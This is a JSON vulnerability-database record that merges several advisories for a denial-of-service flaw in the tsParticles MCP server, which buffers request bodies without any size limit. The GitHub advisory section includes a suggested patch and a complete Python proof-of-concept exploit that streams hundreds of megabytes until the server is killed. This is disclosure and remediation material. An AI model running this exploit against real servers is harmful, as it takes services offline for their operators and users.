{"id":"EUVD-2026-117153","revision":null,"records":[{"revision":"cbba590d6b454d09a893a8bca2582fb5","observedAt":"2026-11-05T21:36:21.359+00:00","statement":{"source":"cve-program","id":"CVE-2026-63655","aliases":[],"title":"tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS","description":"tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumulates every request-body chunk in a Buffer[] without a cumulative size limit before Buffer.concat and JSON.parse. A remote attacker can stream an arbitrarily large body to exhaust Node.js process memory and terminate the service, including in the official Docker configuration that exposes HTTP mode on 0.0.0.0:3000. Confidentiality and integrity are not affected. This issue is fixed in version 4.3.1.","state":0,"publishedAt":"2026-11-04T22:01:50.183+00:00","modifiedAt":"2026-11-05T20:19:03.619+00:00","affected":[{"ecosystem":"Vendor product","name":"tsparticles","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tsparticles\",\n                    \"product\": \"tsparticles\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.3.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"mcp-server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"@tsparticles\",\n                    \"product\": \"mcp-server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.3.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq","https://github.com/tsparticles/tsparticles/pull/5875","https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b","https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea","https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63655","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-63655","identifiers":["CVE-2026-63655"]},"retained":false,"historicalAffected":[]},{"revision":"ac45d3b11ead428d8e2d8db7a03fb71f","observedAt":"2026-11-15T23:15:33.364+00:00","statement":{"source":"euvd","id":"EUVD-2026-117153","aliases":["CVE-2026-63655","GHSA-447x-qqwf-m7xq"],"title":"tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumu…","description":"tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumulates every request-body chunk in a Buffer[] without a cumulative size limit before Buffer.concat and JSON.parse. A remote attacker can stream an arbitrarily large body to exhaust Node.js process memory and terminate the service, including in the official Docker configuration that exposes HTTP mode on 0.0.0.0:3000. Confidentiality and integrity are not affected. This issue is fixed in version 4.3.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq","https://github.com/tsparticles/tsparticles/pull/5875","https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b","https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea","https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-117153","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 4, 2026, 10:01:50 PM","dateUpdated":"Nov 5, 2026, 8:19:03 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-117153","identifiers":["EUVD-2026-117153","CVE-2026-63655","GHSA-447x-qqwf-m7xq"]},"retained":false,"historicalAffected":[]},{"revision":"c87196ac7d824b08bfb9006f6cad75e4","observedAt":"2026-11-09T22:04:23.128+00:00","statement":{"source":"nvd","id":"CVE-2026-63655","aliases":[],"title":"tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumu…","description":"tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumulates every request-body chunk in a Buffer[] without a cumulative size limit before Buffer.concat and JSON.parse. A remote attacker can stream an arbitrarily large body to exhaust Node.js process memory and terminate the service, including in the official Docker configuration that exposes HTTP mode on 0.0.0.0:3000. Confidentiality and integrity are not affected. This issue is fixed in version 4.3.1.","state":0,"publishedAt":"2026-11-04T22:18:07.35+00:00","modifiedAt":"2026-11-06T21:32:18.733+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b","https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea","https://github.com/tsparticles/tsparticles/pull/5875","https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1","https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63655","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-400"],"productCriteria":[],"sourceDates":{"published":"2026-11-04T22:18:07.350","lastModified":"2026-11-06T21:32:18.733"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-63655","identifiers":["CVE-2026-63655"]},"retained":false,"historicalAffected":[]},{"revision":"1a1386a6853e4115b041cc059784ec0c","observedAt":"2026-11-09T22:02:23.304+00:00","statement":{"source":"osv","id":"GHSA-447x-qqwf-m7xq","aliases":["CVE-2026-63655"],"title":"tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS","description":"### Summary\n\nThe HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments.\n\n### Details\n\nThe vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399–407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard:\n\n```ts\n// integrations/mcp-server/src/index.ts:399-407\nif (req.method === \"POST\" && req.url === \"/mcp\") {\n  const body = await new Promise<string>((resolve, reject) => {\n    const chunks: Buffer[] = [];\n    req.on(\"data\", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard\n    req.on(\"end\", () => resolve(Buffer.concat(chunks).toString(\"utf8\")));\n    req.on(\"error\", reject);\n  });\n\n  const parsedBody = body ? JSON.parse(body) : undefined;\n```\n\nThe complete data flow leading to exploitation:\n\n1. `index.ts:390` — HTTP server is created.\n2. `index.ts:399` — `POST /mcp` branch is entered; no authentication is performed.\n3. `index.ts:401-403` — Every chunk is appended to `chunks[]` without any byte-count check.\n4. `index.ts:407` — The concatenated buffer is passed to `JSON.parse`.\n5. `index.ts:416` — The server listens on `0.0.0.0`, exposing it on all network interfaces.\n\nThere is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in.\n\nA suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:\n\n```diff\n--- a/integrations/mcp-server/src/index.ts\n+++ b/integrations/mcp-server/src/index.ts\n@@\n import { createServer } from \"node:http\";\n import { randomUUID } from \"node:crypto\";\n\n const PACKAGE_VERSION = \"0.1.0\";\n+const maxRequestBodyBytes = 1024 * 1024;\n@@\n     if (req.method === \"POST\" && req.url === \"/mcp\") {\n       const body = await new Promise<string>((resolve, reject) => {\n         const chunks: Buffer[] = [];\n-        req.on(\"data\", (chunk) => chunks.push(Buffer.from(chunk)));\n+        let received = 0;\n+        req.on(\"data\", (chunk) => {\n+          received += chunk.length;\n+          if (received > maxRequestBodyBytes) {\n+            req.destroy(new Error(\"Request body too large\"));\n+            return;\n+          }\n+          chunks.push(Buffer.from(chunk));\n+        });\n         req.on(\"end\", () => resolve(Buffer.concat(chunks).toString(\"utf8\")));\n         req.on(\"error\", reject);\n       });\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the Docker image from the repository root\ndocker build \\\n  -f /path/to/vuln-001/Dockerfile \\\n  -t vuln001-mcp \\\n  /path/to/tsparticles-repo\n\n# Run with a 256 MB memory cap (matching the dynamic reproduction)\ndocker run -d \\\n  -p 127.0.0.1:3000:3000 \\\n  --memory=256m --memory-swap=256m \\\n  --name vuln001-mcp \\\n  vuln001-mcp\n```\n\n**Exploit (Python PoC — `poc.py`):**\n\nThe script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp\n```\n\nEquivalent minimal request:\n\n```python\nimport socket\n\ns = socket.create_connection((\"127.0.0.1\", 3000))\nheaders = (\n    \"POST /mcp HTTP/1.1\\r\\n\"\n    \"Host: 127.0.0.1:3000\\r\\n\"\n    \"Content-Type: application/json\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"Connection: close\\r\\n\\r\\n\"\n).encode()\ns.sendall(headers)\n\nprefix = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"'\ns.sendall(f\"{len(prefix):x}\\r\\n\".encode() + prefix + b\"\\r\\n\")\n\nchunk = b\"A\" * (1024 * 1024)  # 1 MB per write\nfor _ in range(300):           # stream 300 MB total\n    s.sendall(f\"{len(chunk):x}\\r\\n\".encode() + chunk + b\"\\r\\n\")\n```\n\n**Expected result:**\n\n- Baseline memory usage: ~24.9 MiB / 256 MiB.\n- After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process.\n- `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`.\n\n**Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.\n\nIn the default Docker deployment (`CMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]`), the server binds to `0.0.0.0:3000`, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.\n\nThe vulnerability is a Denial of Service (DoS) — confidentiality and integrity are not directly affected. Recovery requires restarting the container.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\n# Build context must be the repository root so COPY paths resolve correctly.\n# Build:  docker build -f vuln-001/Dockerfile -t vuln001-mcp .\n# Run:    docker run -d -p 127.0.0.1:3000:3000 \\\n#                    --memory=256m --memory-swap=256m \\\n#                    --name vuln001-mcp vuln001-mcp\n\n# --- Stage 1: compile TypeScript ---\nFROM node:22-alpine AS build\n\nWORKDIR /build\n\n# Copy only the mcp-server package (avoids pulling the entire monorepo)\nCOPY integrations/mcp-server/package.json  ./package.json\nCOPY integrations/mcp-server/tsconfig.json ./tsconfig.json\nCOPY integrations/mcp-server/src/          ./src/\n\n# Install all deps (devDeps needed for TypeScript compiler)\nRUN npm install --no-audit --no-fund\n\n# Compile TypeScript -> dist/\nRUN npx tsc\n\n# --- Stage 2: minimal runtime image ---\nFROM node:22-alpine\n\nWORKDIR /app\n\n# Copy compiled JS and production node_modules\nCOPY --from=build /build/dist          ./dist\nCOPY --from=build /build/node_modules  ./node_modules\n\nEXPOSE 3000\n\n# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.\n# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.\nCMD [\"node\", \"dist/index.js\", \"--port\", \"3000\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server\nRepository : tsparticles/tsparticles\nVersion    : 4.3.0 (commit eb2d299)\nCWE        : CWE-400 — Uncontrolled Resource Consumption\nCVSS       : 7.5 High  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nFile       : integrations/mcp-server/src/index.ts:399-407\n\nVulnerability:\n    The POST /mcp handler resolves a Promise that accumulates every data chunk\n    into a Buffer[] array without any Content-Length or size guard, then calls\n    Buffer.concat() and JSON.parse() on the full body.  An unauthenticated\n    remote attacker can exhaust the server's memory by streaming an arbitrarily\n    large body.\n\n    Source (index.ts:399-407):\n        if (req.method === \"POST\" && req.url === \"/mcp\") {\n          const body = await new Promise<string>((resolve, reject) => {\n            const chunks: Buffer[] = [];\n            req.on(\"data\", (chunk) => chunks.push(Buffer.from(chunk)));  // no guard\n            req.on(\"end\", () => resolve(Buffer.concat(chunks).toString(\"utf8\")));\n            req.on(\"error\", reject);\n          });\n          const parsedBody = body ? JSON.parse(body) : undefined;\n\nExploit strategy:\n    Stream a large body via chunked transfer encoding so the Python process\n    itself needs only O(chunk) memory.  The Node.js server accumulates every\n    chunk in its Buffer array.  With a Docker memory cap of 256 MB the container\n    is OOM-killed once the buffered data exceeds available RAM, producing\n    OOMKilled=true — an unambiguous, observable indicator.\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 3000]\n                   [--mb 300] [--container vuln001-mcp]\n\"\"\"\n\nimport argparse\nimport socket\nimport subprocess\nimport sys\nimport time\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef parse_args():\n    p = argparse.ArgumentParser(description=\"VULN-001 PoC — unbounded body buffering\")\n    p.add_argument(\"--host\",      default=\"127.0.0.1\", help=\"Server host\")\n    p.add_argument(\"--port\",      type=int, default=3000, help=\"Server port\")\n    p.add_argument(\"--mb\",        type=int, default=300, help=\"Payload size in MB\")\n    p.add_argument(\"--container\", default=\"vuln001-mcp\", help=\"Docker container name\")\n    return p.parse_args()\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -> bool:\n    \"\"\"Poll TCP until the server accepts connections or timeout expires.\"\"\"\n    deadline = time.time() + timeout\n    print(f\"[*] Waiting for server at {host}:{port}  (timeout={timeout}s) ...\", flush=True)\n    while time.time() < deadline:\n        try:\n            s = socket.create_connection((host, port), timeout=1)\n            s.close()\n            print(\"[+] Server is ready\", flush=True)\n            return True\n        except OSError:\n            time.sleep(0.5)\n    print(\"[-] Timed out waiting for server\")\n    return False\n\n\ndef container_info(name: str) -> tuple[str, str, str]:\n    \"\"\"Return (status, mem_usage, oom_killed) strings for a Docker container.\"\"\"\n    status, oom = \"unknown\", \"unknown\"\n    try:\n        r = subprocess.run(\n            [\"docker\", \"inspect\", \"--format\",\n             \"{{.State.Status}}|{{.State.OOMKilled}}\", name],\n            capture_output=True, text=True, timeout=5,\n        )\n        if r.returncode == 0:\n            parts = r.stdout.strip().split(\"|\")\n            status = parts[0] if len(parts) > 0 else \"unknown\"\n            oom    = parts[1] if len(parts) > 1 else \"unknown\"\n    except Exception as exc:\n        status = f\"error({exc})\"\n\n    mem = \"N/A\"\n    try:\n        r2 = subprocess.run(\n            [\"docker\", \"stats\", \"--no-stream\", \"--format\", \"{{.MemUsage}}\", name],\n            capture_output=True, text=True, timeout=5,\n        )\n        mem = r2.stdout.strip() or \"N/A\"\n    except Exception:\n        pass\n\n    return status, mem, oom\n\n\n# ---------------------------------------------------------------------------\n# Core exploit\n# ---------------------------------------------------------------------------\n\ndef stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:\n    \"\"\"\n    Open a single TCP connection and stream a large body using chunked TE.\n\n    Using chunked transfer encoding keeps this Python process's memory usage\n    at O(1-MB chunk) while forcing the Node.js server to accumulate every\n    received chunk in its Buffer[] array — the vulnerable code path.\n\n    Returns:\n        server_closed  — True if the server reset the connection mid-stream\n        bytes_sent     — total body bytes sent\n        response       — first bytes of the HTTP response (may be empty)\n    \"\"\"\n    s = socket.create_connection((host, port))\n\n    headers = (\n        f\"POST /mcp HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Transfer-Encoding: chunked\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n    ).encode()\n    s.sendall(headers)\n\n    def send_chunk(data: bytes) -> None:\n        s.sendall(f\"{len(data):x}\\r\\n\".encode() + data + b\"\\r\\n\")\n\n    # Begin a JSON body prefix (the server buffers everything before parsing)\n    prefix = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"'\n    send_chunk(prefix)\n    bytes_sent = len(prefix)\n\n    chunk_size = 1024 * 1024   # 1 MB per TCP write\n    filler     = b\"A\" * chunk_size\n    target     = total_mb * 1024 * 1024\n    server_closed = False\n\n    while bytes_sent < target:\n        remaining = target - bytes_sent\n        chunk = filler[: min(chunk_size, remaining)]\n        try:\n            send_chunk(chunk)\n            bytes_sent += len(chunk)\n            mb_done = bytes_sent // (1024 * 1024)\n            if mb_done % 50 == 0:\n                print(f\"[*]   {mb_done}/{total_mb} MB streamed ...\", flush=True)\n        except (BrokenPipeError, ConnectionResetError, OSError) as exc:\n            print(f\"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}\",\n                  flush=True)\n            server_closed = True\n            break\n\n    if not server_closed:\n        try:\n            send_chunk(b'\"}')\n            s.sendall(b\"0\\r\\n\\r\\n\")  # final (empty) chunk = end of chunked body\n        except OSError:\n            server_closed = True\n\n    response = b\"\"\n    if not server_closed:\n        s.settimeout(5)\n        try:\n            response = s.recv(4096)\n        except OSError:\n            pass\n\n    try:\n        s.close()\n    except OSError:\n        pass\n\n    return server_closed, bytes_sent, response\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main() -> bool:\n    args = parse_args()\n\n    print(\"=\" * 65)\n    print(\"VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server\")\n    print(f\"Target  : http://{args.host}:{args.port}/mcp   (no auth)\")\n    print(f\"Payload : {args.mb} MB  (no Content-Length or body-size guard)\")\n    print(f\"Monitor : Docker container '{args.container}'\")\n    print(\"=\" * 65)\n\n    if not wait_for_server(args.host, args.port):\n        print(\"[FAIL] Server did not become available\")\n        return False\n\n    # --- baseline ---\n    status_before, mem_before, _ = container_info(args.container)\n    print(f\"\\n[*] Baseline  status={status_before}  memory={mem_before}\")\n\n    # --- exploit ---\n    print(f\"\\n[*] Streaming {args.mb} MB body to POST /mcp ...\", flush=True)\n    t0 = time.time()\n    server_closed, bytes_sent, response = stream_large_body(\n        args.host, args.port, args.mb\n    )\n    elapsed = time.time() - t0\n\n    time.sleep(2)   # allow Docker stats to refresh\n\n    status_after, mem_after, oom_killed = container_info(args.container)\n\n    print(f\"\\n[*] Transfer       : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s\")\n    print(f\"[*] Server closed  : {server_closed}\")\n    print(f\"[*] HTTP response  : {response[:200]!r}\")\n    print(f\"[*] Container      : status={status_after}  OOMKilled={oom_killed}\")\n    print(f\"[*] Memory before  : {mem_before}\")\n    print(f\"[*] Memory after   : {mem_after}\")\n\n    # --- verdict ---\n    if oom_killed == \"true\":\n        print(\"\\n[PASS] OOMKilled=true — Docker OOM-killed the container\")\n        print(\"       The Node.js process was killed because it buffered the full\")\n        print(\"       request body in memory (no size guard in POST /mcp handler).\")\n        return True\n\n    if status_after in (\"exited\", \"dead\"):\n        print(f\"\\n[PASS] Container exited (status={status_after}) after receiving\"\n              f\" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed\")\n        return True\n\n    if not server_closed and status_after == \"running\":\n        print(f\"\\n[PASS] {args.mb} MB body fully accepted — no size limit enforced\")\n        print(f\"       Memory before: {mem_before}  |  after: {mem_after}\")\n        print(\"       CWE-400 confirmed: unbounded buffering without authentication\")\n        return True\n\n    if server_closed:\n        print(f\"\\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB\")\n        print(\"          Server may have crashed internally; check docker logs.\")\n        # Still consider PASS if container is dead\n        if status_after not in (\"running\",):\n            return True\n        return False\n\n    print(\"\\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually\")\n    return False\n\n\nif __name__ == \"__main__\":\n    ok = main()\n    sys.exit(0 if ok else 1)\n```","state":0,"publishedAt":"2026-11-09T21:10:46+00:00","modifiedAt":"2026-11-09T21:30:07.588797+00:00","affected":[{"ecosystem":"npm","name":"@tsparticles/mcp-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.3.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq","https://nvd.nist.gov/vuln/detail/CVE-2026-63655","https://github.com/tsparticles/tsparticles/pull/5875","https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b","https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea","https://github.com/tsparticles/tsparticles","https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1"],"sourceUrl":"https://github.com/advisories/GHSA-447x-qqwf-m7xq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-447x-qqwf-m7xq","identifiers":["GHSA-447x-qqwf-m7xq","CVE-2026-63655"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T09:30:47.1166095+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T09:30:47.1166095+00:00","lastSuccessAt":"2026-11-16T09:30:47.3012852+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:47.3012856+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6be044d0e08779dadd136f949a536de4047af96f5d7bceb7e190ecffbb8f18ca-e8c0fd52b22e21457e27693534cefbf2ce40d1a855ef724003125529c54ea7a9","complete":true,"records":425884,"lastAttemptAt":"2026-11-16T09:30:46.3465485+00:00","lastSuccessAt":"2026-11-16T09:30:46.3345916+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.3465485+00:00","snapshotPublishedAt":"2026-11-16T08:36:58+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7ba1af0ccbe941be8cc54cf3324e7e70","complete":false,"records":13821,"lastAttemptAt":"2026-11-16T09:33:43.4111342+00:00","lastSuccessAt":"2026-11-16T09:33:43.407+00:00","error":"10 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T09:33:43.407+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13864,"expectedIdentifiers":13874,"failedIdentifiers":10},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T09:30:47.1166095+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T09:30:47.1166095+00:00","lastSuccessAt":"2026-11-16T09:30:47.3020912+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:47.3020915+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2a27b7b6a1784fa5924b22cef18ec08e","complete":false,"records":13833,"lastAttemptAt":"2026-11-16T09:31:42.1455246+00:00","lastSuccessAt":"2026-11-16T09:31:42.141+00:00","error":"600 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T09:31:42.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13274,"expectedIdentifiers":13874,"failedIdentifiers":600},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T09:30:46.9806842+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.9806842+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T09:30:46.4963156+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.4963156+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T09:30:47.0843037+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:47.0843037+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-263d9c8d63997345727b11314d9b9377eba9fd4146f04497c069a15e332b60cb","complete":true,"records":232482,"lastAttemptAt":"2026-11-16T09:30:46.884062+00:00","lastSuccessAt":"2026-11-16T07:32:30.5701252+00:00","error":null,"lastVerifiedAt":"2026-11-16T09:30:46.884062+00:00","snapshotPublishedAt":"2026-11-16T06:48:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}